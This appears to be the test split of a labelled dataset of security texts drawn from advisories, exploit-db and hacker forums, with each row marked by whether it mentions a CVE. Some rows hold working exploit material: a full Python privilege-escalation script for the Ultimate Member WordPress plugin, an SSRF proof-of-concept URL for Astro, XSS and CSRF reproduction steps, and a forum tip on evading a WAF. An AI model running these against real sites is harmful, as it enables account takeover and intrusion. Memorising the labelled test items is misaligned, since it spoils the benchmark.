\n
\n \n \n\n```\n\n### Workarounds\nBefore v10.0.0, we can work around this vulnerability by using the regular compilation (`jit: false` of `@intlify/unplugin-vue-i18n` plugin configuration) way instead of jit compilation.\n- jit compilation: https://vue-i18n.intlify.dev/guide/advanced/optimization.html#jit-compilation\n- bundler plugin option: https://github.com/intlify/bundle-tools/tree/main/packages/unplugin-vue-i18n#jitcompilation\n\n### References\n- [Simillar case: Vue 2 XSS vulnerability with prototype pollution](https://www.herodevs.com/vulnerability-directory/cve-2024-6783)\n", "source": "github_advisory", "timestamp": "2024-12-02", "split": "test", "label": 1, "label_source": "cross_source_cve_mention"}
+{"id": "62ce7918d59639c86600", "text": "Most of the time it’s just leverage. Same as with any technical debt in general: it behaves almost exactly like financial debt. You compromise long-term financial (or technical) safety for short-term liquidity. This is not bad in itself; debt is a key part of any successful business that wants to scale. Yeah, you can run your business with no debt as a mom-and-pop shop, but if you want to scale fast, that approach won’t work. Many times your whole business depends on literally leveraging debt (both financial and technical), such as in startups. Startups are literally the extreme case of overleveraging on debt with the hope that your growth will outpace your debt over time. Risky bet, yes (that’s why most startups fail) but at the same time, if you manage to pull it off, the gains have no limit. You can 100x, 1000x, or 1,000,000x your initial investment. Back to security and technical debt: even if the company is aware it’s taking security risks, it can decide not to actively fix them now in order to prioritize shipping features before the market window closes (imagine an AI company delaying a release by 3 months for security hardening in the current market, for example). You still have the risk of shipping blatantly insecure software that can blow up in your face, but if you don’t ship in 3 months there might be no product to begin with. In an ideal world this would be calculated risk-taking, but most companies just raw-dog it and find out later. They assume everything that isn’t delivering value today is literally worthless. And this makes selling security an especially challenging gig, because you are not selling extra sales, better performance, or lower cost. You are selling the prevention of an “abstract” and “potential” loss of profits, sales, public image, and in some scenarios even legal consequences (losses that, if you do your job well, will never actually materialize). So for management you are basically pitching them to invest a ton of money into preventing an “imaginary” future loss. As you can imagine, selling this is almost impossible, even for internal people. Usually only companies that already had a serious security incident in the past with real losses truly understand why they would pay for it. For everyone else, they feel they are just giving away money for no apparent benefit. Serious security professionals with experience in the company’s business can put real numbers on the potential losses, and this makes the sell much more tangible. It’s easier to sell a $100k security process if you can prove you will be preventing a $200 million loss. Quality and security are among the hardest things to sell, and arguably among the most important.", "source": "0x00sec", "timestamp": "2026-02-03", "split": "test", "label": 0, "label_source": "cross_source_no_cve"}
+{"id": "53b58255cd5bd1f31b6d", "text": "Hi ,I am new to this industry but I have some ideas for your issue Avoid triggering the WAF: use benign inputs , low request rates, and vary request context (headers, methods) without patterning on obvious command params. Prefer deterministic artifacts you can verify via the application itself (e.g., controlled changes in existing WP behavior, cache/state changes, or DB-side effects visible through normal pages). I am too working on a wp site .I too have this issue .All the best and I hope I helped somehow", "source": "0x00sec", "timestamp": "2026-04-10", "split": "test", "label": 0, "label_source": "cross_source_no_cve"}
+{"id": "e19c68bfb24c255f1f9b", "text": "SKOPS Card.get_model happily allows arbitrary code execution\n\n[Severity: HIGH]\n\n## Summary\n\nThe `Card` class of `skops`, used for model documentation and sharing, allows arbitrary code execution. When a file other than `.zip` is provided to the `Card` class during instantiation, the internally invoked `Card.get_model` method silently falls back to `joblib` without warning. Unlike the `.skops` zip-based format, `joblib` permits unrestricted code execution, hence bypassing the security measures of `skops` and enabling the execution of malicious code.\n\n\n## Details\n\nThe `Card` class supports loading the model linked to the card using the `get_model` method. When a `.skops` model is provided, it uses the `load` function from `skops`, which includes security mechanisms. The `Card` class also supports consistent management of the `trusted` list, which can be passed during instance creation. As expected, if a `.skops` model is provided without a `trusted` list and an untrusted type is encountered during loading, an error is raised. This behavior is consistent with the security principles of `skops`.\n\nThe problem arises when a file format other than `.zip` is provided. As shown in the code snippet below, in this case, the `joblib` library is used to load the model. This happens **silently**, without any warning or indication that `joblib` is being used. This is a significant security risk because `joblib` does not enforce the same security measures as `skops`, allowing arbitrary code execution.\n\n```python\n# from `card/_model_card.py:354-358`\ntry:\n if zipfile.is_zipfile(model_path):\n model = load(model_path, trusted=trusted)\n else:\n model = joblib.load(model_path)\n```\n\nTo increase the concern, `get_model` is actually called internally by `skops` during card creation, so the user does not need to call it explicitly—only to create the `Card` object passing a `joblib` file.\n\n## PoC\n\nConsider the following example:\n\n```python\nfrom skops.card import Card\n\ncard = Card(\"model.skops\")\n```\n\nAn attacker could share a `model.skops` file that, despite its name, is **not** a `.zip` file. In this case, the `joblib.load` function is called, allowing arbitrary code execution if the file is actually a pickle-like object. This is difficult for the user to detect, as the check is based on the file’s format, not its extension or name.\n\nThis vulnerability exists regardless of the `trusted` list provided (or omitted) during `Card` instance creation, and is unaffected by any other parameters. Moreover, it occurs at the time of `Card` instantiation.\n\n## Attack Scenario\n\nAn attacker can craft a malicious model file that, when used to instantiate a `Card` object, enables **arbitrary code** on the victim’s machine. This requires no user interaction beyond instantiating the `Card` object (not even explicit loading). Given that `skops` is often used in collaborative environments and is designed with security in mind, this vulnerability poses a significant threat.\n\n## Attachments\nThe complete PoC is available on GitHub at [io-no/CVE-2025-54886](https://github.com/io-no/CVE-Reports/tree/main/CVE-2025-54886).", "source": "github_advisory", "timestamp": "2025-08-07", "split": "test", "label": 1, "label_source": "cross_source_cve_mention"}
+{"id": "d5e63400fabf194dcf72", "text": "Let’s remember that 99% of businesspeople don’t even understand what programmers do. They simply don’t realize how a company can be compromised, so until an incident occurs, they simply don’t care. Even most developers/engineers don’t understand half of what hackers do. For them, it’s a black box scenario, and they simply follow some basic “secure programming” practices without understanding what they are doing. basic “secure coding” practices without understanding what they do. Maintaining your own cybersecurity department is expensive. Very expensive. Outsourcing does not always guarantee good quality.", "source": "0x00sec", "timestamp": "2026-02-03", "split": "test", "label": 0, "label_source": "cross_source_no_cve"}
+{"id": "81d2f223f823d0ea1827", "text": "the answer should be 32 for .log extension files. I find it funny i log into the target system and it ask how packages are on the systems and target systems doesnt even have any directories or files at all Great job hack the box what lame excuse you have for this one like all the other thousands of complaints online. I can’t believe people pay to deal with this ■■■■ worse learning platform i have ever seen", "source": "hackthebox", "timestamp": "2024-03-13", "split": "test", "label": 0, "label_source": "cross_source_no_cve"}
+{"id": "a7636edb9cc6e6dc8699", "text": "Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation\n\n#!/usr/bin/env python3\n\n# Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation\n# Exploit Author: Gurjot Singh\n# CVE: CVE-2023-3460\n# Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration.\n\n\nimport requests\nimport argparse\nimport re\nimport urllib3\nfrom bs4 import BeautifulSoup\nimport sys\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\ndef check_password_strength(password):\n \"\"\"Checks if password meets complexity requirements.\"\"\"\n if len(password) < 8:\n print(\"[!] Password too short! Must be at least 8 characters.\")\n print(\" Example: Admin@123\")\n sys.exit(1)\n\n # At least one uppercase, one lowercase, one digit, and one special char\n if not re.search(r'[A-Z]', password):\n print(\"[!] Password must contain at least one uppercase letter.\")\n print(\" Example: Admin@123\")\n sys.exit(1)\n if not re.search(r'[a-z]', password):\n print(\"[!] Password must contain at least one lowercase letter.\")\n print(\" Example: Admin@123\")\n sys.exit(1)\n if not re.search(r'\\d', password):\n print(\"[!] Password must contain at least one number.\")\n print(\" Example: Admin@123\")\n sys.exit(1)\n if not re.search(r'[!@#$%^&*(),.?\":{}|<>]', password):\n print(\"[!] Password must contain at least one special character (!@#$%^&* etc.)\")\n print(\" Example: Admin@123\")\n sys.exit(1)\n\ndef fetch_form_details(session, target_url):\n print(\"[*] Fetching form details from register page...\")\n try:\n res = session.get(target_url, verify=False)\n soup = BeautifulSoup(res.text, \"html.parser\")\n\n nonce_input = soup.find(\"input\", {\"name\": \"_wpnonce\"})\n nonce = nonce_input[\"value\"] if nonce_input else None\n if nonce:\n print(f\"[+] Found _wpnonce: {nonce}\")\n else:\n print(\"[-] Could not find _wpnonce\")\n\n field_names = {}\n for inp in soup.find_all(\"input\"):\n if inp.get(\"name\"):\n field_names[inp.get(\"name\")] = \"\"\n\n return nonce, field_names\n except Exception as e:\n print(f\"[!] Error fetching form details: {e}\")\n return None, {}\n\ndef exploit_register(target_url, username, password):\n session = requests.Session()\n target_url = target_url.rstrip('/')\n\n nonce, fields = fetch_form_details(session, target_url)\n if not nonce:\n return\n\n form_id = None\n for name in fields:\n m = re.search(r\"user_login-(\\d+)\", name)\n if m:\n form_id = m.group(1)\n break\n if not form_id:\n form_id = \"7\"\n print(f\"[+] Using form ID: {form_id}\")\n\n data = {\n f\"user_login-{form_id}\": username,\n f\"first_name-{form_id}\": \"Admin\",\n f\"last_name-{form_id}\": username,\n f\"user_email-{form_id}\": f\"{username}@example.com\",\n f\"user_password-{form_id}\": password,\n f\"confirm_user_password-{form_id}\": password,\n \"form_id\": form_id,\n \"um_request\": \"\",\n \"_wpnonce\": nonce,\n \"_wp_http_referer\": \"/register/\",\n \"wp_càpabilities[administrator]\": \"1\"\n }\n\n headers = {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\n \"Referer\": target_url,\n \"Origin\": target_url.split(\"/register\")[0],\n }\n cookies = {\n \"wordpress_test_cookie\": \"WP Cookie check\",\n \"wp_lang\": \"en_US\"\n }\n\n print(f\"[*] Sending malicious registration for {username} ...\")\n try:\n response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)\n if response.status_code == 200 and (\"Thank you for registering\" in response.text or \"You have successfully registered\" in response.text):\n print(f\"[+] Admin account '{username}' created successfully!\")\n print(", "source": "exploitdb", "timestamp": "2025-08-03", "split": "test", "label": 1, "label_source": "cross_source_cve_mention"}
+{"id": "b289780274e903b862b6", "text": "Delta jfk terminal is One of the most valuable aspects of a terminal guide is its ability to simplify navigation within the airport. Large terminals can be daunting, with multiple levels, numerous gates, and various services scattered throughout. Delta teminal jfk provide detailed maps that highlight important areas such as check-in counters, security checkpoints, baggage claim, and departure gates. By reviewing these maps ahead of time, you can plan your route and avoid the confusion of wandering around.", "source": "hackthebox", "timestamp": "2024-12-19", "split": "test", "label": 0, "label_source": "cross_source_no_cve"}
+{"id": "6b883e492e36f27ee3aa", "text": "Thanks a lot man! Really my previous knowledge is only in Security Analyst and infrastructure in networks, specifically in SOC. Currently I am changing my focus study to Red Teaming and I have a lot of things that I don’t know in the pentesting area. As I understand it , these vulnerabilities are public, but the “information” about them is public, not the exploit", "source": "0x00sec", "timestamp": "2026-01-26", "split": "test", "label": 0, "label_source": "cross_source_no_cve"}
+{"id": "08bf156033f1a713836f", "text": "Totally! I thought I was just missing it but amazing what happens when you use the right dataset… I’ll leave a note for HTB support to try and address this.", "source": "hackthebox", "timestamp": "2024-06-10", "split": "test", "label": 0, "label_source": "cross_source_no_cve"}
+{"id": "34b43a39bf9d7f0c498e", "text": "Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS)\n\n# Exploit Title: Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS)\n# Exploit Author: Ayato Shitomi @ Fore-Z co.ltd\n# Demo Video: https://www.youtube.com/watch?v=udQgVogsmhA\n# Vendor Homepage: https://teedy.io/\n# Software Link: https://github.com/Tomblib0/Teedy\n# Version: 1.11\n# Tested on: Linux\n# CVE : CVE-2024-46278\n\nThere is a vulnerability that causes XSS when downloading files.\nXSS vulnerability could allow a Teedy administrator to rob an account with a few clicks.\n\n\nLogin as an attacker’s account.\nUpload this file as html type. You have to change “Origin” and “Referer” and argument for fetch in need.\n\n```\n\n```\n\nLogin with another account. eg. admin\nClick on the file uploaded by the attacker and select Download this file.", "source": "exploitdb", "timestamp": "2025-04-16", "split": "test", "label": 1, "label_source": "cross_source_cve_mention"}
+{"id": "b93a93bb9ab660294cd0", "text": "Wow! They used to say Indonesians were Turkish, but I never believed it.", "source": "0x00sec", "timestamp": "2026-04-07", "split": "test", "label": 0, "label_source": "cross_source_no_cve"}
+{"id": "a17bd47dd585cb7a901c", "text": "In my view, the introduction of automated tools often complicates the process. I believe performing these tasks manually is more effective.", "source": "0x00sec", "timestamp": "2026-03-20", "split": "test", "label": 0, "label_source": "cross_source_no_cve"}
+{"id": "79822d694207c8135a8c", "text": "Astro's bypass of image proxy domain validation leads to SSRF and potential XSS\n\n[Severity: HIGH]\n\n### Summary\n\nThis is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\\`) - the endpoint still issues a server-side fetch.\n\n### PoC\n[https://astro.build/_image?href=\\\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)", "source": "github_advisory", "timestamp": "2025-10-28", "split": "test", "label": 1, "label_source": "cross_source_cve_mention"}
+{"id": "6de44137047f9819206a", "text": "i do here by placing the script i want to run in /etc/network/if-preup.d/ When networks starts launching then the script will run , execution permissions must be placed on the script", "source": "parrotsec", "timestamp": "2024-08-07", "split": "test", "label": 0, "label_source": "cross_source_no_cve"}
+{"id": "f0ffb31fef53a947cac3", "text": "Masmer: Parrot has some PDF “Open Books” here: https://archive.parrotsec.org/parrot/misc/openbooks/ Should I proceed? parrot book link as warning 1214×705 25.6 KB", "source": "parrotsec", "timestamp": "2024-11-21", "split": "test", "label": 0, "label_source": "cross_source_no_cve"}
+{"id": "431e721b257371848cae", "text": "Blood Bank & Donor Management System 2.4 - CSRF Improper Input Validation\n\n#Exploit Title: Blood Bank & Donor Management System 2.4 - CSRF Improper\nInput Validation\n# Google Dork: N/A\n# Date: 2024-12-26\n# Exploit Author: Kwangyun Keum\n# Vendor Homepage: https://phpgurukul.com/\n# Software Link: https://phpgurukul.com/blood-bank-donor-management-system/\n# Version: 2.4\n# Tested on: Windows 10 / Kali Linux with Apache and MySQL\n# CVE: CVE-2024-12955\n\n## Description:\nBlood Bank & Donor Management System v2.4 suffers from a Cross-Site Request\nForgery (CSRF) vulnerability due to the absence of CSRF tokens for critical\nfunctionalities such as logout. An attacker can craft a malicious iframe\nembedding the logout URL and trick a victim into clicking it. This results\nin the victim being logged out without their consent.\n\n## Steps to Reproduce:\n1. Deploy Blood Bank & Donor Management System v2.4.\n2. Log in as any user.\n3. Use the following PoC to demonstrate the issue:\n\n ```html\n \n \n {{ t('hello') }}
\n